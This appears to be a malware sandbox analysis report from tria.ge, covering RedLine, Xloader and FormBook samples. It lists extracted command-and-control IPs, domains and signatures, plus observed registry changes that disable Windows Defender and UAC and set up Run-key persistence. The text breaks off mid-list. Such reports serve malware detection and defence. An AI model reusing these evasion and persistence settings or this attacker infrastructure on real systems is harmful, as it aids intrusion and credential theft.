Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Overview
overview
10Static
static
022e3c30a1...66.exe
windows11_x64
10022e3c30a1...66.exe
windows10_x64
1022e3c30a1...66.exe
windows10_x64
104d27dca0a1...ef.exe
windows11_x64
104d27dca0a1...ef.exe
windows10_x64
104d27dca0a1...ef.exe
windows10_x64
10578a3a7a2b...b3.exe
windows11_x64
10578a3a7a2b...b3.exe
windows10_x64
10578a3a7a2b...b3.exe
windows10_x64
109c4880a98c...82.exe
windows11_x64
109c4880a98c...82.exe
windows10_x64
109c4880a98c...82.exe
windows10_x64
10a1dad4a83d...c4.exe
windows11_x64
10a1dad4a83d...c4.exe
windows10_x64
10a1dad4a83d...c4.exe
windows10_x64
10acf1b7d80f...e0.exe
windows11_x64
10acf1b7d80f...e0.exe
windows10_x64
10acf1b7d80f...e0.exe
windows10_x64
10cbf31d825a...d2.exe
windows11_x64
10cbf31d825a...d2.exe
windows10_x64
10cbf31d825a...d2.exe
windows10_x64
10db76a117db...12.exe
windows11_x64
10db76a117db...12.exe
windows10_x64
10db76a117db...12.exe
windows10_x64
10e2ffb8aeeb...f6.exe
windows11_x64
10e2ffb8aeeb...f6.exe
windows10_x64
10e2ffb8aeeb...f6.exe
windows10_x64
10f2196668f4...cb.exe
windows11_x64
10f2196668f4...cb.exe
windows10_x64
10f2196668f4...cb.exe
windows10_x64
10Resubmissions
10/11/2021, 14:50
211110-r7nbvaeddr 1008/11/2021, 16:12
211108-tnmmbahgaj 1008/11/2021, 15:26
211108-svdsbaccf6 1008/11/2021, 14:48
211108-r6lfvshdfn 10Analysis
-
max time kernel
1197s -
max time network
1221s -
platform
windows11_x64 -
resource
win11 -
submitted
08/11/2021, 16:12
Static task
static1
Behavioral task
behavioral1
Sample
022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe
Resource
win11
Behavioral task
behavioral2
Sample
022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe
Resource
win10-en-20211014
Behavioral task
behavioral3
Sample
022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe
Resource
win10-de-20211014
Behavioral task
behavioral4
Sample
4d27dca0a1e05e876c2a1a8c09854c847b8e21bc5db294ad63cbfc603b5d62ef.exe
Resource
win11
Behavioral task
behavioral5
Sample
4d27dca0a1e05e876c2a1a8c09854c847b8e21bc5db294ad63cbfc603b5d62ef.exe
Resource
win10-en-20211014
Behavioral task
behavioral6
Sample
4d27dca0a1e05e876c2a1a8c09854c847b8e21bc5db294ad63cbfc603b5d62ef.exe
Resource
win10-de-20211014
Behavioral task
behavioral7
Sample
578a3a7a2b73a5c5f4a0485db0980b9acfa89b8e44690e799272d5cfb0237ab3.exe
Resource
win11
Behavioral task
behavioral8
Sample
578a3a7a2b73a5c5f4a0485db0980b9acfa89b8e44690e799272d5cfb0237ab3.exe
Resource
win10-en-20211014
Behavioral task
behavioral9
Sample
578a3a7a2b73a5c5f4a0485db0980b9acfa89b8e44690e799272d5cfb0237ab3.exe
Resource
win10-de-20211014
Behavioral task
behavioral10
Sample
9c4880a98c53084391a2e2ec350515da63c1dc8ac929af17f012b690b0453782.exe
Resource
win11
Behavioral task
behavioral11
Sample
9c4880a98c53084391a2e2ec350515da63c1dc8ac929af17f012b690b0453782.exe
Resource
win10-en-20211104
Behavioral task
behavioral12
Sample
9c4880a98c53084391a2e2ec350515da63c1dc8ac929af17f012b690b0453782.exe
Resource
win10-de-20211014
Behavioral task
behavioral13
Sample
a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe
Resource
win11
Behavioral task
behavioral14
Sample
a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe
Resource
win10-en-20211014
Behavioral task
behavioral15
Sample
a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe
Resource
win10-de-20211104
Behavioral task
behavioral16
Sample
acf1b7d80fc61269691cc9c7cb4884ffd5bbf5b1538c336c1007127d157738e0.exe
Resource
win11
Behavioral task
behavioral17
Sample
acf1b7d80fc61269691cc9c7cb4884ffd5bbf5b1538c336c1007127d157738e0.exe
Resource
win10-en-20211014
Behavioral task
behavioral18
Sample
acf1b7d80fc61269691cc9c7cb4884ffd5bbf5b1538c336c1007127d157738e0.exe
Resource
win10-de-20211104
Behavioral task
behavioral19
Sample
cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe
Resource
win11
Behavioral task
behavioral20
Sample
cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe
Resource
win10-en-20211104
Behavioral task
behavioral21
Sample
cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe
Resource
win10-de-20211104
Behavioral task
behavioral22
Sample
db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12.exe
Resource
win11
Behavioral task
behavioral23
Sample
db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12.exe
Resource
win10-en-20211104
Behavioral task
behavioral24
Sample
db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12.exe
Resource
win10-de-20211104
Behavioral task
behavioral25
Sample
e2ffb8aeeb869fbb3de97b95b0c5c9cf2234d85612ba111115a938c89e4d94f6.exe
Resource
win11
Behavioral task
behavioral26
Sample
e2ffb8aeeb869fbb3de97b95b0c5c9cf2234d85612ba111115a938c89e4d94f6.exe
Resource
win10-en-20211104
Behavioral task
behavioral27
Sample
e2ffb8aeeb869fbb3de97b95b0c5c9cf2234d85612ba111115a938c89e4d94f6.exe
Resource
win10-de-20211104
Behavioral task
behavioral28
Sample
f2196668f412d730bc6bd24f08b749ed411d3450f9b4af846fc759e249f72acb.exe
Resource
win11
Behavioral task
behavioral29
Sample
f2196668f412d730bc6bd24f08b749ed411d3450f9b4af846fc759e249f72acb.exe
Resource
win10-en-20211104
Behavioral task
behavioral30
Sample
f2196668f412d730bc6bd24f08b749ed411d3450f9b4af846fc759e249f72acb.exe
Resource
win10-de-20211104
General
Malware Config
Extracted
redline
fucker2
135.181.129.119:4805
Extracted
redline
Chris
194.104.136.5:46013
Extracted
xloader
2.5
s0iw
http://www.kyiejenner.com/s0iw/
ortopediamodelo.com
orimshirts.store
universecatholicweekly.info
yvettechan.com
sersaudavelsempre.online
face-booking.net
europeanretailgroup.com
umofan.com
roemahbajumuslim.online
joyrosecuisine.net
3dmaker.house
megdb.xyz
stereoshopie.info
gv5rm.com
tdc-trust.com
mcglobal.club
choral.works
onlineconsultantgroup.com
friscopaintandbody.com
midwestii.com
weespiel.com
babyshell.be
gwynora.com
talkthered.com
f-punk.com
frankmatlock.com
clique-solicite.net
clientloyaltysystem.com
worldbyduco.com
kampfsport-erfurt.com
adndpanel.xyz
rocknfamily.net
ambr-creative.com
wwwks8829.com
thuexegiarehcmgoviet.com
brentmurrell.art
wolf-yachts.com
tenpobiz.com
binnamall.com
crestamarti.quest
terry-hitchcock.com
ocreverseteam.com
taxwarehouse2.xyz
megawholesalesystem.com
epstein-advisory.com
enewlaunches.com
iphone13.community
pianostands.com
newspaper.clinic
alamdave.com
costalitaestepona2d.com
arbacan.com
horikoshi-online-tutoring.net
missingthered.com
ecmcenterprises.com
giaohangtietkiemhcm.com
universidademackenzie.com
kveupcsmimli.mobi
ibellex.com
ikigaiofficial.store
jerseyboysnorfolk.com
xiamensaikang.com
lmnsky.com
bra866.com
Signatures
-
Modifies WinLogon for persistence 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe,C:\\Users\\Admin\\AppData\\Local\\chromedrlver.exe," reg.exe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 5 IoCs
resource yara_rule behavioral16/memory/5728-315-0x0000000000400000-0x0000000000422000-memory.dmp family_redline behavioral16/memory/5736-314-0x0000000000400000-0x0000000000422000-memory.dmp family_redline behavioral16/memory/5736-312-0x0000000000000000-mapping.dmp family_redline behavioral16/memory/5728-311-0x0000000000000000-mapping.dmp family_redline behavioral16/memory/5980-343-0x0000000000000000-mapping.dmp family_redline -
Suspicious use of NtCreateProcessExOtherParentProcess 35 IoCs
description pid Process procid_target PID 2208 created 1260 2208 WerFault.exe 108 PID 2680 created 2240 2680 WerFault.exe 82 PID 964 created 476 964 WerFault.exe 167 PID 6544 created 4756 6544 WerFault.exe 149 PID 6716 created 2220 6716 inst1.exe 148 PID 6616 created 5920 6616 Process not Found 158 PID 6724 created 6112 6724 Process not Found 290 PID 6928 created 5380 6928 WerFault.exe 152 PID 7052 created 6140 7052 WerFault.exe 142 PID 6832 created 2264 6832 WerFault.exe 282 PID 7128 created 6004 7128 WerFault.exe 141 PID 6040 created 4040 6040 WerFault.exe 159 PID 6672 created 1624 6672 WerFault.exe 161 PID 6804 created 2608 6804 WerFault.exe 165 PID 6172 created 3776 6172 WerFault.exe 521 PID 660 created 6124 660 powershell.exe 166 PID 2488 created 5788 2488 WerFault.exe 175 PID 6672 created 6368 6672 WerFault.exe 187 PID 1524 created 5960 1524 WerFault.exe 213 PID 4320 created 5548 4320 WerFault.exe 173 PID 5444 created 7076 5444 WerFault.exe 262 PID 6688 created 5852 6688 WerFault.exe 267 PID 3156 created 3472 3156 WerFault.exe 294 PID 2200 created 3696 2200 WerFault.exe 292 PID 3652 created 5564 3652 WerFault.exe 345 PID 3600 created 3728 3600 WerFault.exe 353 PID 6580 created 1516 6580 WerFault.exe 366 PID 6476 created 2964 6476 powershell.exe 384 PID 6336 created 6748 6336 WerFault.exe 376 PID 3364 created 4328 3364 WerFault.exe 380 PID 8808 created 8632 8808 WerFault.exe 438 PID 10636 created 8632 10636 WerFault.exe 438 PID 11088 created 9560 11088 WerFault.exe 455 PID 11960 created 10272 11960 WerFault.exe 465 PID 9260 created 4176 9260 WerFault.exe 543 -
Suspicious use of NtCreateUserProcessOtherParentProcess 8 IoCs
description pid Process procid_target PID 7732 created 7660 7732 svchost.exe 420 PID 7732 created 7660 7732 svchost.exe 420 PID 7732 created 7616 7732 svchost.exe 419 PID 7732 created 7616 7732 svchost.exe 419 PID 7732 created 11684 7732 svchost.exe 482 PID 7732 created 11684 7732 svchost.exe 482 PID 7732 created 11788 7732 svchost.exe 492 PID 7732 created 11788 7732 svchost.exe 492 -
Turns off Windows Defender SpyNet reporting 2 TTPs
-
suricata: ET MALWARE FormBook CnC Checkin (GET)
suricata: ET MALWARE FormBook CnC Checkin (GET)
-
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
-
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
-
suricata: ET MALWARE Sharik/Smoke CnC Beacon 11
suricata: ET MALWARE Sharik/Smoke CnC Beacon 11
-
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
-
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
-
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2
-
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Xloader Payload 2 IoCs
resource yara_rule behavioral16/files/0x000100000002b20c-381.dat xloader behavioral16/memory/5696-519-0x00000000003E0000-0x0000000000409000-memory.dmp xloader -
resource yara_rule behavioral16/files/0x000100000002b1c2-164.dat aspack_v212_v242 behavioral16/files/0x000100000002b1c2-163.dat aspack_v212_v242 behavioral16/files/0x000200000002b1be-159.dat aspack_v212_v242 behavioral16/files/0x000200000002b1be-157.dat aspack_v212_v242 behavioral16/files/0x000100000002b1c0-160.dat aspack_v212_v242 behavioral16/files/0x000100000002b1c0-156.dat aspack_v212_v242 -
Adds policy Run key to start application 2 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run chkdsk.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\_FG4LFWHVBL = "C:\\Program Files (x86)\\Wc2kdsr0\\qjlkznh.exe" chkdsk.exe -
Blocklisted process makes network request 42 IoCs
flow pid Process 495 476 powershell.exe 639 4080 powershell.exe 1884 10512 MsiExec.exe 1901 10512 MsiExec.exe 1909 10512 MsiExec.exe 1915 10512 MsiExec.exe 1922 10512 MsiExec.exe 1927 10512 MsiExec.exe 1934 10512 MsiExec.exe 1941 10512 MsiExec.exe 1944 10512 MsiExec.exe 1952 10512 MsiExec.exe 1960 10512 MsiExec.exe 1967 10512 MsiExec.exe 1972 10512 MsiExec.exe 1980 10512 MsiExec.exe 1986 10512 MsiExec.exe 1992 10512 MsiExec.exe 1996 10512 MsiExec.exe 2000 10512 MsiExec.exe 2007 10512 MsiExec.exe 2012 10512 MsiExec.exe 2018 10512 MsiExec.exe 2023 10512 MsiExec.exe 2028 10512 MsiExec.exe 2032 10512 MsiExec.exe 2037 10512 MsiExec.exe 2040 10512 MsiExec.exe 2046 10512 MsiExec.exe 2054 10512 MsiExec.exe 2060 10512 MsiExec.exe 2066 10512 MsiExec.exe 2072 10512 MsiExec.exe 2076 10512 MsiExec.exe 2081 10512 MsiExec.exe 2086 10512 MsiExec.exe 2092 10512 MsiExec.exe 2096 10512 MsiExec.exe 2104 10512 MsiExec.exe 2110 10512 MsiExec.exe 2116 10512 MsiExec.exe 2120 10512 MsiExec.exe -
Downloads MZ/PE file
-
Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\system32\drivers\etc\hosts DYbALA.exe -
Executes dropped EXE 64 IoCs
pid Process 1496 setup_installer.exe 2240 setup_install.exe 4668 Wed0944361c3621a67a6.exe 3308 Wed09ed6b36e57df5f.exe 1416 Wed0900caa0501dc98f.exe 4692 Wed090db89ca4c58.exe 3948 Wed09c4c0c3d01.exe 1260 Wed0983917533e.exe 3496 Wed09d761ab4704dd931.exe 2008 Wed0968d19e5ec37794.exe 1860 Wed09fbe3bf81.exe 2188 Wed09755e77ed017e8af.exe 2484 Wed09f69eef9c0d5b.exe 820 Wed091bab77a3bb62d.exe 2608 Wed09f69eef9c0d5b.tmp 5288 Wed09f69eef9c0d5b.exe 5432 Wed09f69eef9c0d5b.tmp 5712 I8TaQYBpLsJ.ExE 5720 Wed09fbe3bf81.exe 5728 Wed09755e77ed017e8af.exe 5736 Wed0968d19e5ec37794.exe 1340 5GbJABxusvW2Pz7AK6rUlrdV.exe 5168 5GbJABxusvW2Pz7AK6rUlrdV.exe 2324 7941442.exe 5980 Wed09fbe3bf81.exe 2084 5069683.exe 3476 u72LOaRxLgkK5IHOwYSqQlCm.exe 5988 u72LOaRxLgkK5IHOwYSqQlCm.exe 5944 D5jO5muoKL2QIbNiEfoop08_.exe 4756 iUX9Vg8QH5ULbR97OMgoiUpA.exe 2612 u61pEibZx55ZTcsGrpE4kjkv.exe 2220 zzAXtJ3aS9abUWqkbmD7PY0t.exe 6112 k39E9PbopFSHkyy_8xUul0st.exe 6004 f47U96v4E2xvAceZTVowo_Da.exe 2264 svchost.exe 6116 6347777.exe 6140 y5FFPenTacrWG1BPf716r5iH.exe 5384 E2t1dTST4wi9nETnfQ2vjtjw.exe 5380 dgNxzyTAdrQxFN9vJ8n88DPi.exe 2940 z485zCgApYkB9GZalmCeDduF.exe 1136 O2e913GzFE0n9x332YZ0qWQ_.exe 5896 _x9GiJzYDf9aJhmGn5Vb8S8w.exe 4040 5WkgWF4reGVRq9ZYLqh7v5gC.exe 5920 ffRY7NtW64kXHzYQ0dxEEoKs.exe 5816 zb_GNN4ZicZJDYAaBv5ollkv.exe 1624 ayO1VtN_QSdi4l2DM937MXS0.exe 2948 csjbW1FdgBaFTQt9GTdZ3kvx.exe 3776 vEuOBV85K9pJ9VWlkcYMPjWC.exe 5840 eXLCtZPPkxEwQmQj8pD33_AM.exe 4596 sTv0Ru6Qdd40koV8ep40teP1.exe 3300 ECktS8xzMW3LrovHiHpvy0gD.exe 580 1946948.exe 5252 rCEAlTAUmN5DqGRox3D7HhaA.exe 2492 YhE1IiHPA4dy8ccXNcMS2QFN.exe 476 DAol2sBwNgrYbgLIVYbajhxO.exe 6124 f47U96v4E2xvAceZTVowo_Da.exe 5548 u441lgwhPCuZAE5fAfsAMoFK.exe 2608 MegogoSell_crypted.exe 6076 Underdress.exe 5788 vjQOan4v6lH95dp3dgNFrLs1.exe 4032 cutm3.exe 4044 3154250.exe 4784 Unseduceability.exe 5456 2536708.exe -
Modifies Windows Firewall 1 TTPs
-
Sets service image path in registry 2 TTPs
-
Checks BIOS information in registry 2 TTPs 18 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 5069683.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion E2t1dTST4wi9nETnfQ2vjtjw.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion E2t1dTST4wi9nETnfQ2vjtjw.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion u61pEibZx55ZTcsGrpE4kjkv.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion ECktS8xzMW3LrovHiHpvy0gD.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 1946948.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion MegogoSell_crypted.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 5069683.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion _x9GiJzYDf9aJhmGn5Vb8S8w.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion _x9GiJzYDf9aJhmGn5Vb8S8w.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion ECktS8xzMW3LrovHiHpvy0gD.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 1101862.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion D5jO5muoKL2QIbNiEfoop08_.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 1101862.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion u61pEibZx55ZTcsGrpE4kjkv.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion D5jO5muoKL2QIbNiEfoop08_.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 1946948.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion MegogoSell_crypted.exe -
Drops startup file 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe 6067.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe 6067.exe -
Loads dropped DLL 64 IoCs
pid Process 2240 setup_install.exe 2240 setup_install.exe 2240 setup_install.exe 2240 setup_install.exe 2240 setup_install.exe 2608 Wed09f69eef9c0d5b.tmp 5432 Wed09f69eef9c0d5b.tmp 6272 KtY3PmQXF1psXmDJExEzJMzL.exe 6272 KtY3PmQXF1psXmDJExEzJMzL.exe 6920 msiexec.exe 3420 setup.tmp 1532 setup.tmp 4624 Calculator Installation.exe 4624 Calculator Installation.exe 6272 KtY3PmQXF1psXmDJExEzJMzL.exe 4624 Calculator Installation.exe 4624 Calculator Installation.exe 6272 KtY3PmQXF1psXmDJExEzJMzL.exe 6272 KtY3PmQXF1psXmDJExEzJMzL.exe 4624 Calculator Installation.exe 4624 Calculator Installation.exe 4624 Calculator Installation.exe 4912 buGrO5_I0VyeWHsTdgPgm9Ex.exe 4912 buGrO5_I0VyeWHsTdgPgm9Ex.exe 5928 Conhost.exe 5928 Conhost.exe 4912 buGrO5_I0VyeWHsTdgPgm9Ex.exe 5356 VWcW9lrNS1fOheXu_Z7OpJVv.tmp 4912 buGrO5_I0VyeWHsTdgPgm9Ex.exe 4912 buGrO5_I0VyeWHsTdgPgm9Ex.exe 4912 buGrO5_I0VyeWHsTdgPgm9Ex.exe 1948 Conhost.exe 1948 Conhost.exe 6396 rundll32.exe 6396 rundll32.exe 4712 rundll32.exe 4712 rundll32.exe 6796 msiexec.exe 6796 msiexec.exe 12252 installer.exe 12252 installer.exe 1948 Conhost.exe 1948 Conhost.exe 1540 Calculator.exe 1948 Conhost.exe 1540 Calculator.exe 1540 Calculator.exe 1948 Conhost.exe 6272 KtY3PmQXF1psXmDJExEzJMzL.exe 12252 installer.exe 3256 MsiExec.exe 3256 MsiExec.exe 7440 Calculator.exe 8096 Calculator.exe 8096 Calculator.exe 8096 Calculator.exe 8344 Calculator.exe 8344 Calculator.exe 8344 Calculator.exe 8096 Calculator.exe 8524 Calculator.exe 8652 Calculator.exe 8524 Calculator.exe 8524 Calculator.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
resource yara_rule behavioral16/files/0x000100000002b1fb-378.dat themida -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features 6067.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe = "0" 6067.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\6067.exe = "0" 6067.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Spynet\SpyNetReporting = "0" 6067.exe Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Real-Time Protection 6067.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" 6067.exe Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Spynet 6067.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Spynet\SubmitSamplesConsent = "0" 6067.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0" 6067.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Cursors\veejays\svchost.exe = "0" 6067.exe Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths 6067.exe Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions 6067.exe -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 8 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe" 2536708.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\system recover = "\"C:\\Program Files (x86)\\Windows Media Player\\Naetixihuty.exe\"" DYbALA.exe Key created \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Run Conhost.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Calculator = "C:\\Users\\Admin\\AppData\\Roaming\\Calculator\\Calculator.exe --bo6y9QQgnM" Conhost.exe Set value (str) \REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\scriptwriters = "C:\\Windows\\Cursors\\veejays\\svchost.exe" 6067.exe Key created \REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows\CurrentVersion\Run msedge.exe Set value (str) \REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftEdgeAutoLaunch_5EFC0ECB77A7585FE9DCDD0B2E946A2B = "\"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe\" --no-startup-window /prefetch:5" msedge.exe Set value (str) \REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\scriptwriters = "C:\\Windows\\Cursors\\veejays\\svchost.exe" scriptwriters.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 5069683.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 1946948.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 1101862.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 6067.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA scriptwriters.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA D5jO5muoKL2QIbNiEfoop08_.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA E2t1dTST4wi9nETnfQ2vjtjw.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA u61pEibZx55ZTcsGrpE4kjkv.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA MegogoSell_crypted.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA _x9GiJzYDf9aJhmGn5Vb8S8w.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA ECktS8xzMW3LrovHiHpvy0gD.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 6067.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" scriptwriters.exe -
Enumerates connected drives 3 TTPs 64 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\J: installer.exe File opened (read-only) \??\K: installer.exe File opened (read-only) \??\S: installer.exe File opened (read-only) \??\Y: installer.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\X: installer.exe File opened (read-only) \??\Q: installer.exe File opened (read-only) \??\T: installer.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\R: installer.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\B: installer.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\I: installer.exe File opened (read-only) \??\Z: installer.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\A: installer.exe File opened (read-only) \??\E: installer.exe File opened (read-only) \??\F: installer.exe File opened (read-only) \??\U: installer.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\V: installer.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\O: installer.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\L: installer.exe File opened (read-only) \??\N: installer.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\P: installer.exe File 